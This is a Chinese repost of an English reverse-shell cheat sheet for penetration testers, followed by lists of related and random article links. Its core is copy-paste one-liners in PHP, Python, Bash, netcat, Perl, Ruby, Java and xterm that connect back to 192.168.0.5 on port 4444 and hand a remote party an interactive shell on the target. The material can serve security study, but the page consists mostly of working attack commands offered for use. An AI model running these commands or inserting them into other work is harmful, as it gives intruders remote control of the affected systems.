常见语言反弹shell reverse shell
本文来自:https://www.hacking.land/2019/03/reverse-shell-cheat-sheet.html?m=1
前言
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.
PHP
php -r '$sock=fsockopen("192.168.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bash
bash -i >& /dev/tcp/192.168.0.5/4444 0>&1
Netcat
nc -e /bin/sh 192.168.0.5 4444
Perl
perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby
ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.5/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm
xterm -display 192.168.0.5:4444
常见语言反弹shell reverse shell的更多相关文章
- MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...
- Simple python reverse shell
import base64,sys; import socket,struct s=socket.socket(2,socket.SOCK_STREAM) s.connect(('Attack's I ...
- Reverse Shell Cheat Sheet
Reverse Shell Cheat Sheet If you're lucky enough to find a command execution vulnerability during a ...
- 转:shell 经典, shell 十三问
原文链接:http://blog.csdn.net/freexploit/article/details/626660 我在 CU 的日子并不长,有幸在 shell 版上与大家结缘.除了跟众前辈学 ...
- 初识Shell与Shell脚本
初识Shell Shell 是一个用 C 语言编写的程序,Shell 既是一种命令语言,又是一种程序设计语言. Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内 ...
- shell 学习笔记1-什么是shell,shell变量
一.介绍 1.什么是shell Shell 既是一种命令语言,又是一种程序设计语言,他在操作系统得最外层,负责直接与用户对话,把用户得输入解释个OS,并处理各类操作系统得输出结果,输出到屏幕返回个i用 ...
- 什么是Shell?Shell脚本基础知识详细介绍
这篇文章主要介绍了什么是Shell?Shell脚本基础知识介绍,本文是一篇Shell脚本入门文章,在本文你可学到什么是Shell.有多少种Shell.一个Shell脚本代码实例,需要的朋友可以参考下 ...
- 【shell】shell脚本入门
1. 前言 1.1 为什么学习shell编程 Shell脚本语言是实现Linux/UNIX系统管理及自动化运维所必备的重要工具,Linux/UNIX系统的底层及基础应用软件的核心大部分涉及Shell脚 ...
- 我们一起来学Shell - 初识shell
文章目录 Shell 的分类 `bash` `csh` `ksh` `tcsh` `sh` `nologin` `zsh` Shell 能做什么 bash 环境变量文件 `/etc/profile` ...
- [拾 得] 一枚迷人的贝壳 SHELL / Linux | shell 脚本初步入门
坚持知识分享,该文章由Alopex编著, 转载请注明源地址: http://www.cnblogs.com/alopex/ 索引: 什么是shell shell的分类 shell脚本的执行方式 ...
随机推荐
- ts(keyof,typeof)
ts(keyof,typeof) keyof 获取某类型的键,返回联合类型 interface Person { hair: string; eyesColor: string; } let P1 = ...
- 关于tensor2tensor与tensorflow版本冲突的解决方案
工作需要,研究了几天的t2t,万万没想到在虚拟环境的搭建方面出现了问题. 直接安装t2t,当前是1.15.7版本,默认会安装tensorflow的最新版本,最终会在执行t2t-trainer命令的时候 ...
- WDA学习(27):RoadMap使用
1.20 UI Element:RoadMap使用 本实例测试创建RoadMap; 运行结果: 点击2,Input显示输入航班Id 点击3,根据input输入,查询航班信息 1.创建Component ...
- ssm框架下的拦截器过滤静态资源以及拦截jsp
这篇文章如果能给你带来帮助 不胜荣幸,如果有错误 ,欢迎批评指正,共同进步. 今天啊搭了一个ssm的框架 虽然说现在大部分都在使用shiro权限,可是正如mybatis.hibernate和jdbc的 ...
- 7. mixin的实现原理
mixin的实现原理 在Vue.mixin()中的内容会被维护到Vue.options静态属性里面 然后通过mergeOptions以特定的合并策略将全局的属性和用户属性合并起来 在获取用户选项的时候 ...
- 面试不愁,给你一份SpringBoot常用注解
一.注解(annotations)列表 @SpringBootApplication: 包含了@ComponentScan.@Configuration和@EnableAutoConfiguratio ...
- 02. C语言基础知识
一.注释 注释 就是对代码进行解释说明的文字,注释的内容不会参与编译和运行,仅仅是对代码的解释说明.在 C语言 中注释主要分为以下两类: 单行注释://,注释内容从 // 始到本行和结尾 多行注释 ...
- Visual Studio Code 如何设置成中文语言
Visual Studio Code 是一款微软的代码编辑器,这款软件是比较不错的,用起来也比较方便,但是好多人在第一次安装的时候展现的是英文的,这对于一些小伙伴是比较头疼的问题,那如何调整为中文的呢 ...
- java学习:八大基本类型变量
1.类 在java中用class来定义一个类,类是java程序的基本单位 类描述的是具有共性的一类事物,所以我们又可以把类称作为模板技术 如何理解共性: 具有相同的属性-->java变量 具 ...
- SQL数学函数学习
笔记来自如鹏网杨中科老师所著的 <程序员的SQL金典>#创建数据库表 CREATE Table T_Person ( FIdNumber VARCHAR(20), FName varcha ...